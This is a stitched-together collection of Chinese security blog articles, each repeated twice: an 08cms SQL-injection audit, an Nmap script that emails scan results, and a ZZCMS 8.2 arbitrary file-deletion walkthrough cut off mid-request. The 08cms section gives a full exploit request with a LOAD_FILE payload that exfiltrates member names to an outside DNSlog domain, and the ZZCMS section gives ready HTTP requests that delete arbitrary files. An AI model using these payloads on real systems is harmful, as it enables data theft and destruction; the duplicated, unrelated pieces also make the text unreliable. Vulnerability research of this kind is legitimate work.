0×00 背景

本周,拿到一个源码素材是08cms的,这个源码在官网中没有开源下载,需要进行购买,由某师傅提供的,审计的时候发现这个CMS数据传递比较复杂,使用静态分析的方式不好操作,刚好这周小三上位(换了新电脑),就直接安装下phpstorm+xdebug+xdebug-ext(火狐)进行动态分析,本篇主要是以SQL注入漏洞为例子,进行动态分析的演练,当然源码还有其他漏洞待挖掘,期待师傅们一起交流讨论。

0×01 审计过程

动态分析环境配置

动态分析组合:phpstorm+xdebug+xdebug-ext(火狐) 

相信小伙伴们关注本公号这么久这个环境搭建应该是没问题了,这里我就列出几个配置要点。如果还有不明白的可以参考:http://www.cnblogs.com/xujian2016/p/5548921.html

PHP的设置

首先根据电脑的PHP版本下载适配的xdebug插件放在\php\php-5.3.29-nts\ext\php_xdebug-2.2.7-5.3-vc9-nts.dll,下载地址:https://xdebug.org/download.php

然后在PHP.ini文件中进行如下配置,配置完成后查看phpinfo中xdebug是否有生效。


[XDebug]

zend_extension=”D:\soft\phpStudy\PHPTutorial\php\php-5.3.29-nts\ext\php_xdebug-2.2.7-5.3-vc9-nts.dll”

xdebug.profiler_append = 0

xdebug.profiler_enable = 1

xdebug.profiler_enable_trigger = 0

xdebug.profiler_output_dir=”D:\soft\phpStudy\PHPTutorial\tmp\xdebug”

xdebug.trace_output_dir=”D:\soft\phpStudy\PHPTutorial\tmp\xdebug”

xdebug.profiler_output_name = “cache.out.%t-%s”

xdebug.remote_enable = 1

xdebug.remote_handler = “dbgp”

xdebug.remote_host = “127.0.0.1″

xdebug.remote_port = 9000

xdebug.idekey = PHPSTORM


phpstorm的设置

配置运行环境,加载php.exe所在的位置。

位置.png

配置debug端口,默认是9000与php.ini中的debug端口一致即可。

即可.png

配置proxy端口和IDE key,端口与站点端口一致即可。

一致.png

 

在编辑结构处进行如下设置:

设置 1.png

设置 2.png

xdebug-ext(火狐)

火狐最好使用开发者版本否则很多插件无法使用。 

安装xdebug-ext插件后,在设置中配置好IDE key。

key  1.png

 key  2.png

基本使用

在访问要调试的目标页面时候开启phpstorm的debug连接监听,就是那个小电话。

小电话.png

然后火狐浏览器开启那个小瓢虫。

小瓢虫.png

开启后进行请求就会自动打上XDEBUG_SESSION=PHPSTORM,IDE 就能进行调试。

调试.png

SQL 注入问题

0×00 相关环境

源码信息:08cms_v5.0_gbk_20140314 

问题文件: \08cms\08cms_v5.0_gbk_20140314\upload_gbk\include\field.fun.php 

漏洞类型:SQL注入问题 

站点地址:http://www.08cms.com/

0×01 漏洞分析

这个08cms的源码素材数据传递比较复杂,所以没有像之前使用notepad++进行静态跟踪和审计的方法,而是采用phpstorm+xdebug+xdebug-ext(火狐)的组合,进行动态分析和数据流的跟踪。

在站点注册会员后登录到会员中心。

中心.png

在左侧基本信息->基本资料->会员详情->上传附件上面的输入框中,经过简要的测试,知道这个地方是上传后的图片路径。

路径.png

 

本着见框就插习惯(存放路径的输入框代码规则的复杂),开始进行测试,发现这个位置可以引入单引号。

 单引号.png

2.png

但是在构造SQL语句的时候发现,这个位置有对输入的数据进行处理,所以黑盒的方式不好构造Payload,因此开始进行debug,由于提交的表单链接是http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy&mid=2,因此我在文件\08cms\08cms_v5.0_gbk_20140314\upload_gbk\adminm.php中的第10行设置断点。

断点.png

首先在phpstorm中开启电话标记,监听debug连接。

连接.png

然后表单提交,开启xdebug-ext(火狐)后会自动打上debug的IDE Key,然后一路F8步过,知道运行到断点处F7步入,然后还是一路F8。

f8.png 

在第2次进入\08cms\08cms_v5.0_gbk_20140314\upload_gbk\libs\classes\frontpage\adminmpagebase.cls.php文件中的第15行运行完就结束,且结束后通过查看SQL日志,才出现那条可以引入单引号的SQL,因此在这个位置下断点。

 位置 1.png

位置 2.png

经过反复的下断点F8步过和F7步入,遇到运行结束的位置下断点,在下次代码执行到该位置的时候F7步入。最终追踪到有问题的代码块。

 代码块.png

如下是我跟踪的时候下的断点位置,把这些位置串起来便是代码运行和数据传递的过程。

过程.png

当确认问题代码位置后,可以将其他断点去掉,然后仅保留,关键位置的断点,\08cms\08cms_v5.0_gbk_20140314\upload_gbk\include\field.fun.php这里我只保留第150的断点。

通过分析代码块,debug的时候会把变量的值展示在代码右侧,发现会对|和#进行处理,然后进行basename处理后传入SQL语句,08cms是会对传入的参数进行单引号的转义,此处虽然单引号被转义了但是由于经过了basename,导致反斜杠被吃掉,从而将单引号引入到SQL语句中,造成了SQL注入。

注入.png

0×02 漏洞复现

可以进行如下请求,在fmdata[mlogo]位置’union select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(mname)) from cms_members where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))–传入这个payload,可以查询数据库中的数据,这里需要注意,构造payload的时候除了开头的单引号,其他位置要避免使用单引号,否则由于单引号被转义为\’,经过basename后会破坏语句的结构。


POST http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy&mid=2 HTTP/1.1

Host: 127.0.0.1:8081

Proxy-Connection: keep-alive

Content-Length: 1563

Cache-Control: max-age=0

Origin: http://127.0.0.1:8081

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryHubb3mAjcyGbJR0q

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.8

Cookie: VGM_userauth=iCWfvAR8iseJ5T3P9bVHw%2BZLTvqmLhL8vMS0IIj3ZoEOL2%2Fa%2Fax8vtdH

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”_08_hash”

5228bb59d0b24b049a00dbc1c21fae97

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[nicename]“

Thinking

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[mlogo]“

http://127.0.0.1:8081/userfiles/image/20180328/‘union select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(mname)) from cms_members where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))– 1a=28164700edc421674c5194.jpg

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[phone]“

18988888888

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[email]“

[email protected]

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[qq]“

88888888

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[coid20]“

0

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[birthday]“

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[sex]“

1

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[education]“

1

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[profession]“

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”bsubmit”

 {

——WebKitFormBoundaryHubb3mAjcyGbJR0q–

请求后查看DNSlog可以获取到查询数据。

数据.png

0×02 小结

本篇以08cms SQL注入漏洞为例子与大家分享下我使用的动态分析方式,也有师傅推荐使用vscode,看大家的使用习惯了,我是习惯使用phpstorm,如果师傅们还有其他好的审计方法也可提出,欢迎提供审计素材一起学习进步,但是如果是hc请走开勿扰,交流学习可联系我[email protected]

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

0×00 背景

本周,拿到一个源码素材是08cms的,这个源码在官网中没有开源下载,需要进行购买,由某师傅提供的,审计的时候发现这个CMS数据传递比较复杂,使用静态分析的方式不好操作,刚好这周小三上位(换了新电脑),就直接安装下phpstorm+xdebug+xdebug-ext(火狐)进行动态分析,本篇主要是以SQL注入漏洞为例子,进行动态分析的演练,当然源码还有其他漏洞待挖掘,期待师傅们一起交流讨论。

0×01 审计过程

动态分析环境配置

动态分析组合:phpstorm+xdebug+xdebug-ext(火狐) 

相信小伙伴们关注本公号这么久这个环境搭建应该是没问题了,这里我就列出几个配置要点。如果还有不明白的可以参考:http://www.cnblogs.com/xujian2016/p/5548921.html

PHP的设置

首先根据电脑的PHP版本下载适配的xdebug插件放在\php\php-5.3.29-nts\ext\php_xdebug-2.2.7-5.3-vc9-nts.dll,下载地址:https://xdebug.org/download.php

然后在PHP.ini文件中进行如下配置,配置完成后查看phpinfo中xdebug是否有生效。


[XDebug]

zend_extension=”D:\soft\phpStudy\PHPTutorial\php\php-5.3.29-nts\ext\php_xdebug-2.2.7-5.3-vc9-nts.dll”

xdebug.profiler_append = 0

xdebug.profiler_enable = 1

xdebug.profiler_enable_trigger = 0

xdebug.profiler_output_dir=”D:\soft\phpStudy\PHPTutorial\tmp\xdebug”

xdebug.trace_output_dir=”D:\soft\phpStudy\PHPTutorial\tmp\xdebug”

xdebug.profiler_output_name = “cache.out.%t-%s”

xdebug.remote_enable = 1

xdebug.remote_handler = “dbgp”

xdebug.remote_host = “127.0.0.1″

xdebug.remote_port = 9000

xdebug.idekey = PHPSTORM


phpstorm的设置

配置运行环境,加载php.exe所在的位置。

位置.png

配置debug端口,默认是9000与php.ini中的debug端口一致即可。

即可.png

配置proxy端口和IDE key,端口与站点端口一致即可。

一致.png

 

在编辑结构处进行如下设置:

设置 1.png

设置 2.png

xdebug-ext(火狐)

火狐最好使用开发者版本否则很多插件无法使用。 

安装xdebug-ext插件后,在设置中配置好IDE key。

key  1.png

 key  2.png

基本使用

在访问要调试的目标页面时候开启phpstorm的debug连接监听,就是那个小电话。

小电话.png

然后火狐浏览器开启那个小瓢虫。

小瓢虫.png

开启后进行请求就会自动打上XDEBUG_SESSION=PHPSTORM,IDE 就能进行调试。

调试.png

SQL 注入问题

0×00 相关环境

源码信息:08cms_v5.0_gbk_20140314 

问题文件: \08cms\08cms_v5.0_gbk_20140314\upload_gbk\include\field.fun.php 

漏洞类型:SQL注入问题 

站点地址:http://www.08cms.com/

0×01 漏洞分析

这个08cms的源码素材数据传递比较复杂,所以没有像之前使用notepad++进行静态跟踪和审计的方法,而是采用phpstorm+xdebug+xdebug-ext(火狐)的组合,进行动态分析和数据流的跟踪。

在站点注册会员后登录到会员中心。

中心.png

在左侧基本信息->基本资料->会员详情->上传附件上面的输入框中,经过简要的测试,知道这个地方是上传后的图片路径。

路径.png

 

本着见框就插习惯(存放路径的输入框代码规则的复杂),开始进行测试,发现这个位置可以引入单引号。

 单引号.png

2.png

但是在构造SQL语句的时候发现,这个位置有对输入的数据进行处理,所以黑盒的方式不好构造Payload,因此开始进行debug,由于提交的表单链接是http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy&mid=2,因此我在文件\08cms\08cms_v5.0_gbk_20140314\upload_gbk\adminm.php中的第10行设置断点。

断点.png

首先在phpstorm中开启电话标记,监听debug连接。

连接.png

然后表单提交,开启xdebug-ext(火狐)后会自动打上debug的IDE Key,然后一路F8步过,知道运行到断点处F7步入,然后还是一路F8。

f8.png 

在第2次进入\08cms\08cms_v5.0_gbk_20140314\upload_gbk\libs\classes\frontpage\adminmpagebase.cls.php文件中的第15行运行完就结束,且结束后通过查看SQL日志,才出现那条可以引入单引号的SQL,因此在这个位置下断点。

 位置 1.png

位置 2.png

经过反复的下断点F8步过和F7步入,遇到运行结束的位置下断点,在下次代码执行到该位置的时候F7步入。最终追踪到有问题的代码块。

 代码块.png

如下是我跟踪的时候下的断点位置,把这些位置串起来便是代码运行和数据传递的过程。

过程.png

当确认问题代码位置后,可以将其他断点去掉,然后仅保留,关键位置的断点,\08cms\08cms_v5.0_gbk_20140314\upload_gbk\include\field.fun.php这里我只保留第150的断点。

通过分析代码块,debug的时候会把变量的值展示在代码右侧,发现会对|和#进行处理,然后进行basename处理后传入SQL语句,08cms是会对传入的参数进行单引号的转义,此处虽然单引号被转义了但是由于经过了basename,导致反斜杠被吃掉,从而将单引号引入到SQL语句中,造成了SQL注入。

注入.png

0×02 漏洞复现

可以进行如下请求,在fmdata[mlogo]位置’union select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(mname)) from cms_members where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))–传入这个payload,可以查询数据库中的数据,这里需要注意,构造payload的时候除了开头的单引号,其他位置要避免使用单引号,否则由于单引号被转义为\’,经过basename后会破坏语句的结构。


POST http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy&mid=2 HTTP/1.1

Host: 127.0.0.1:8081

Proxy-Connection: keep-alive

Content-Length: 1563

Cache-Control: max-age=0

Origin: http://127.0.0.1:8081

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryHubb3mAjcyGbJR0q

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.8

Cookie: VGM_userauth=iCWfvAR8iseJ5T3P9bVHw%2BZLTvqmLhL8vMS0IIj3ZoEOL2%2Fa%2Fax8vtdH

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”_08_hash”

5228bb59d0b24b049a00dbc1c21fae97

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[nicename]“

Thinking

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[mlogo]“

http://127.0.0.1:8081/userfiles/image/20180328/‘union select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(mname)) from cms_members where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))– 1a=28164700edc421674c5194.jpg

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[phone]“

18988888888

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[email]“

[email protected]

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[qq]“

88888888

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[coid20]“

0

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[birthday]“

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[sex]“

1

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[education]“

1

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[profession]“

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”bsubmit”

 {

——WebKitFormBoundaryHubb3mAjcyGbJR0q–

请求后查看DNSlog可以获取到查询数据。

数据.png

0×02 小结

本篇以08cms SQL注入漏洞为例子与大家分享下我使用的动态分析方式,也有师傅推荐使用vscode,看大家的使用习惯了,我是习惯使用phpstorm,如果师傅们还有其他好的审计方法也可提出,欢迎提供审计素材一起学习进步,但是如果是hc请走开勿扰,交流学习可联系我[email protected]

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

VPS上的Nmap还在扫描工作着,而你已经把它忘了忙着其他事情。突然,一封邮件发来,向你汇报本次扫描完毕,和具体的扫描报告。是不是觉得很方便?借助Nmap的库文件和NSE引擎,这件事情将变得简单。

0×01 从SMTP协议说起

优秀的扫描器都有邮件通知的功能,Nmap也一样,在Nmap的库文件中已经为我们提供了用来操作SMTP协议的库文件smtp.lua

邮件的发送依靠的是SMTP协议,在smtp.lua这个库文件,共14个函数有关SMTP邮件的发送,且该库支持SMTP指令EHLOHELPAUTHMAILRCPTDATASTARTTLSRSETVREYEXPN10个指令,借助socket我们其实可以发送任何的SMTP指令。

为了便于我们来理解SMTP指令的使用,下面我简单介绍下,在CMD下,如何用telnet发送SMTP指令的方式发出一封邮件。

telnet smtp.163.com 25

25.png


打开163邮箱,收到发出的邮件。

邮件.png

熟悉了以上过程,就能够明白smtp.lua这个库的每个函数都是在干些什么了,也方便我们去扩充和修改。

0×02 smtp库文件

根据上述过程,我们来认识下smtp.lua我们需要用到的几个函数。

  • connect函数发起SMTP连接,并确认对方是否需要ssl的支持。

  • ehlo函数ehlo函数,其实就是发送ehlo的指令,是扩展的helo指令,服务器会在响应中表明自己支持的认证方式。

  • login函数login = function(socket, username, password, mech)mech:指得是认证方式,该函数支持LOGIN, PLAIN, CRAM-MD5, DIGEST-MD5NTLM这5种方式,一般我们使用LOGIN

  • mail函数mail = function(socket, address, esmtp_opts):发送mail指令。address:参数用来指定发件人地址。esmtp_opts: 用来设定邮件大小,envid,transid等,不设定可以设为nil

  • recipient函数recipient = function(socket, address)address:参数用来指定收件人地址。

  • datasend函数datasend = function(socket, data)发送邮件内容。

  • query函数query = function(socket, cmd, data, lines)发送邮件请求。cmd:是SMTP的指令参数。data:是指令的内容。

0×03 编写NSE脚本发送扫描报告

编写脚本遇到的两个问题,一个是如何获取扫描结果,另外一个是如何发送邮件正文。

虽然我们有API可以调用,但是一直没有找到调用所有结果的那个API,所以就决定先把扫描结果写在一个文件里,然后读取该文件。nmap <TARGET> --script smtp -oG 1.txt这个方法有点简单粗暴哈,有更好方案的小伙伴吗?

注意,因为发送邮件头和邮件正文是有一个回车换行的,但是实际代码,我确是拼接了2个\r\n才区分开正文和邮件头。

完整的NSE脚本:

local shortport = require "shortport"
local smtp = require "smtp"

description = [[send the scan result use smtp]]
author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

--[[
    example:nmap <TARGET> --script smtp -oG 1.txt
    1.txt is the smtp.nse use ,if you want replace or rename , modify the code.
]]

postrule = function () return true end
action = function(host, port)
    local socket,resp = smtp.connect("smtp.163.com",25,{ssl = false,recv_before = true})

    if ( not(socket) ) then return fail("Failed to connect to SMTP server") end

    local st, resp =smtp.ehlo(socket,"smtp.163.com") -- 发送ehlo,获取邮件服务器支持的登陆方式
    local status, err =smtp.login(socket,"[email protected]","xxxxxx","LOGIN") -- 登陆

    if(status) then
        local mail_st,mail_response = smtp.mail(socket,"[email protected]",nil) --设置发件人

        local recipient_st,recipient_response = smtp.recipient(socket,"[email protected]")    --设置收件人 

        -- 读取扫描结果,设置邮件头和正文
        local result = ''
        for line in io.lines("1.txt") do
            line = string.gsub(line,"/","     ")
            line = string.gsub(line,",","\r\n")
            result = result .. line .. "\r\n"
        end    
        senddata="subject:The scan result\r\n" .. "from:reborn\r\n" .."\r\n".. result
        -- 邮件发送
        local st2 ,resp2 = smtp.datasend(socket,senddata)  
        print(st2,resp2)
        smtp.quit(socket)
        socket:close()
    end
    return "send mail test...."
end

end.png

收取到Nmap扫描结果的邮件:

邮件 1.png

邮件 2.png

0×04 关于写上述脚本的一些其他思路

  • 有的小伙伴说python玩得溜,为啥要用lua。

没错,用python发邮件更加容易,而且我们可以在lua中来执行python脚本,简单粗暴的方式如下:直接用lua的os.execute命令执行系统命令,而sendmail.py则写好了如何发送邮件。os.execute('python "C:\\Program Files (x86)\\Nmap\\nselib\\sendmail.py"')

  • 关于扩展smtp.lua库其实smtp库的各种连接,登陆,发送数据,完全可以用socket来直接完成了,之前一直不会用datasend这个函数的用法,是采用如下方式替代:
    local st, ret, response
    st,response =smtp.query(socket, "DATA")
    st,ret = socket:send("subject:test message\r\n")
    st,ret = socket:send("from:reborn\r\n")
    st,ret = socket:send("to:[email protected]\r\n")
    st,ret = socket:send("\r\n")
    st,ret = socket:send("content\r\n")
    st, response =smtp.query(socket, "\r\n.")
    

0×05 小结

邮件发送扫描报告解决了平时不知何时扫描结束的一个痛点,经常做扫描任务的童鞋可以试试哈。本期内容就到这里,我们下期见。

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

VPS上的Nmap还在扫描工作着,而你已经把它忘了忙着其他事情。突然,一封邮件发来,向你汇报本次扫描完毕,和具体的扫描报告。是不是觉得很方便?借助Nmap的库文件和NSE引擎,这件事情将变得简单。

0×01 从SMTP协议说起

优秀的扫描器都有邮件通知的功能,Nmap也一样,在Nmap的库文件中已经为我们提供了用来操作SMTP协议的库文件smtp.lua

邮件的发送依靠的是SMTP协议,在smtp.lua这个库文件,共14个函数有关SMTP邮件的发送,且该库支持SMTP指令EHLOHELPAUTHMAILRCPTDATASTARTTLSRSETVREYEXPN10个指令,借助socket我们其实可以发送任何的SMTP指令。

为了便于我们来理解SMTP指令的使用,下面我简单介绍下,在CMD下,如何用telnet发送SMTP指令的方式发出一封邮件。

telnet smtp.163.com 25

25.png


打开163邮箱,收到发出的邮件。

邮件.png

熟悉了以上过程,就能够明白smtp.lua这个库的每个函数都是在干些什么了,也方便我们去扩充和修改。

0×02 smtp库文件

根据上述过程,我们来认识下smtp.lua我们需要用到的几个函数。

  • connect函数发起SMTP连接,并确认对方是否需要ssl的支持。

  • ehlo函数ehlo函数,其实就是发送ehlo的指令,是扩展的helo指令,服务器会在响应中表明自己支持的认证方式。

  • login函数login = function(socket, username, password, mech)mech:指得是认证方式,该函数支持LOGIN, PLAIN, CRAM-MD5, DIGEST-MD5NTLM这5种方式,一般我们使用LOGIN

  • mail函数mail = function(socket, address, esmtp_opts):发送mail指令。address:参数用来指定发件人地址。esmtp_opts: 用来设定邮件大小,envid,transid等,不设定可以设为nil

  • recipient函数recipient = function(socket, address)address:参数用来指定收件人地址。

  • datasend函数datasend = function(socket, data)发送邮件内容。

  • query函数query = function(socket, cmd, data, lines)发送邮件请求。cmd:是SMTP的指令参数。data:是指令的内容。

0×03 编写NSE脚本发送扫描报告

编写脚本遇到的两个问题,一个是如何获取扫描结果,另外一个是如何发送邮件正文。

虽然我们有API可以调用,但是一直没有找到调用所有结果的那个API,所以就决定先把扫描结果写在一个文件里,然后读取该文件。nmap <TARGET> --script smtp -oG 1.txt这个方法有点简单粗暴哈,有更好方案的小伙伴吗?

注意,因为发送邮件头和邮件正文是有一个回车换行的,但是实际代码,我确是拼接了2个\r\n才区分开正文和邮件头。

完整的NSE脚本:

local shortport = require "shortport"
local smtp = require "smtp"

description = [[send the scan result use smtp]]
author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default"}

--[[
    example:nmap <TARGET> --script smtp -oG 1.txt
    1.txt is the smtp.nse use ,if you want replace or rename , modify the code.
]]

postrule = function () return true end
action = function(host, port)
    local socket,resp = smtp.connect("smtp.163.com",25,{ssl = false,recv_before = true})

    if ( not(socket) ) then return fail("Failed to connect to SMTP server") end

    local st, resp =smtp.ehlo(socket,"smtp.163.com") -- 发送ehlo,获取邮件服务器支持的登陆方式
    local status, err =smtp.login(socket,"[email protected]","xxxxxx","LOGIN") -- 登陆

    if(status) then
        local mail_st,mail_response = smtp.mail(socket,"[email protected]",nil) --设置发件人

        local recipient_st,recipient_response = smtp.recipient(socket,"[email protected]")    --设置收件人 

        -- 读取扫描结果,设置邮件头和正文
        local result = ''
        for line in io.lines("1.txt") do
            line = string.gsub(line,"/","     ")
            line = string.gsub(line,",","\r\n")
            result = result .. line .. "\r\n"
        end    
        senddata="subject:The scan result\r\n" .. "from:reborn\r\n" .."\r\n".. result
        -- 邮件发送
        local st2 ,resp2 = smtp.datasend(socket,senddata)  
        print(st2,resp2)
        smtp.quit(socket)
        socket:close()
    end
    return "send mail test...."
end

end.png

收取到Nmap扫描结果的邮件:

邮件 1.png

邮件 2.png

0×04 关于写上述脚本的一些其他思路

  • 有的小伙伴说python玩得溜,为啥要用lua。

没错,用python发邮件更加容易,而且我们可以在lua中来执行python脚本,简单粗暴的方式如下:直接用lua的os.execute命令执行系统命令,而sendmail.py则写好了如何发送邮件。os.execute('python "C:\\Program Files (x86)\\Nmap\\nselib\\sendmail.py"')

  • 关于扩展smtp.lua库其实smtp库的各种连接,登陆,发送数据,完全可以用socket来直接完成了,之前一直不会用datasend这个函数的用法,是采用如下方式替代:
    local st, ret, response
    st,response =smtp.query(socket, "DATA")
    st,ret = socket:send("subject:test message\r\n")
    st,ret = socket:send("from:reborn\r\n")
    st,ret = socket:send("to:[email protected]\r\n")
    st,ret = socket:send("\r\n")
    st,ret = socket:send("content\r\n")
    st, response =smtp.query(socket, "\r\n.")
    

0×05 小结

邮件发送扫描报告解决了平时不知何时扫描结束的一个痛点,经常做扫描任务的童鞋可以试试哈。本期内容就到这里,我们下期见。

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

0×00 背景

本周,将zzcms8.2的源码的GetShell方法与大家一同分享,在上周有说过这个CMS比较适合新手或想要入坑PHP代码审计的同学练手,所以分享下从一些容易发现的漏洞一步步到GetShell的过程,如果大家还有其他思路欢迎一同讨论,期待与师傅们的交流。

0×01 审计过程

文件删除问题:

0×00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\user\msg.php 

漏洞类型:任意文件删除 

站点地址:http://www.zzcms.net/

0×01 漏洞分析

在\zzcms\zzcms8.2\user\del.php文件的第44-53行中得到如下代码块,通过分析代码块可以知道,是从数据库中取出图片路径然后进行删除操作,这里同样的操作除了zzcms_main操作外,还有第64行的zzcms_licence操作,这里只分析zzcms_main操作。

操作1.png

操作 2.png

因为此处是从数据库select操作中得到图片等文件的路径地址的,所以可以通过追踪对zzcms_main表进行insert或者update操作的代码,在\zzcms\zzcms8.2\user\zssave.php文件的第94-102行发现insert或者update操作。

update.png

且在\zzcms\zzcms8.2\user\zssave.php文件的第103-118行中,当传入的oldimg与数据中的img不同时会删除oldimg,因此此处存在任意文件删除操作。

删除.png

0×02 漏洞复现

情况一:在action=add的情况下进行任意文件删除 

首先进行如下请求在img参数位置填入要删除的文件路径,如根目录下的1.txt。


POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 289

Referer: http://127.0.0.1/user/zsadd.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=thinking&szm=&gnzz=thinking&sm=111111&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&cityforadd=&img=/1.txt&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF

然后数据库中会生成img列的值为/1.txt的内容。

 内容.png

然后进行如下请求,删除上面操作生成的那篇招商咨询,然后就会连1.txt一并删除。


POST /user/del.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 97

Referer: http://127.0.0.1/user/zsmanage.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

id%5B%5D=16&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zsmanage.php%3Fpage%3D1&tablename=zzcms_main

 main.png

情况二:在action=modify的情况下进行任意文件删除 

进行如下请求在oldimg参数的位置构造要删除的目标文件,如根目录下的1.txt,所以可以使用../1.txt进行目录跳转后删除目标文件。


POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 290

Referer: http://127.0.0.1/user/zsmodify.php?id=15&page=1

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

